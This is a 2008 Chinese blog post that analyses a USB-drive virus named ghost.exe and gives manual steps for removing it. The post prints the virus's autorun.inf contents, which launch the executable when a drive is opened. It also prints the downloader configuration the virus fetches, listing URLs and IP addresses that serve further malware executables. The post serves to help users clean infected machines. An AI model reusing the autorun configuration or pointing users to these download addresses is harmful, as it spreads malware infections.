U盘病毒ghost.exe手工清除方法 
[ 2008-4-12 13:02:00 | By: 自斟自饮 ]
 

U盘病毒ghost.exe手工清除方法:

运行ghost.exe 后..
生成
ghost.exe.bat(删除自身)
C:\WINDOWS\system\conime.exe
C:\Program Files\WinRAR\WinRAR.exe.tmp

每个盘符下释放(c d e f g h j k )
autorun.inf
ghost.exe

autorun.inf 文件内容
[AutoRun]
OPEN=ghost.exe
shellexecute=ghost.exe
shell\打开(&O)\command=ghost.exe

连入 http://www.dj916.com/ie.txt 下载..
ie.txt 内容
[main]
服务文件更新=5
服务文件地址=http://www.86dy.net/c123.exe

下载者是否更新=4
下载个数=7

文件1=http://222.220.16.185/data6/jwm.exe
更新1=6
文件2=http://222.220.16.185/data6/wol.exe
更新2=6
文件3=http://222.220.16.185/data6/wo3.exe
更新3=6
文件4=http://222.220.16.185/data6/mir.exe
更新4=6
文件5=http://222.220.16.185/data6/mhh.exe
更新5=6
文件6=http://222.220.16.181/ienet.exe
更新6=6
文件7=http://222.220.16.185/data6/zt3.exe
更新7=6

这些网址都是下载下来的病毒

处理方法(不包括下载下来的病毒)
右键=>打开进入每个盘符=>删除
autorun.inf
ghost.exe

删除文件
C:\WINDOWS\system\conime.exe

建议重装 qq 讯雷 WINRAR

 
 

发表评论:

    大名:
    密码: (游客无须输入密码)
    主页:
    标题:
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 
时 间 记 忆

  网 络 安 全

博 客 服 务
 
 
 
用 户 登 录
博 客 信 息


友 情 连 接
 

 

Powered by Oblog.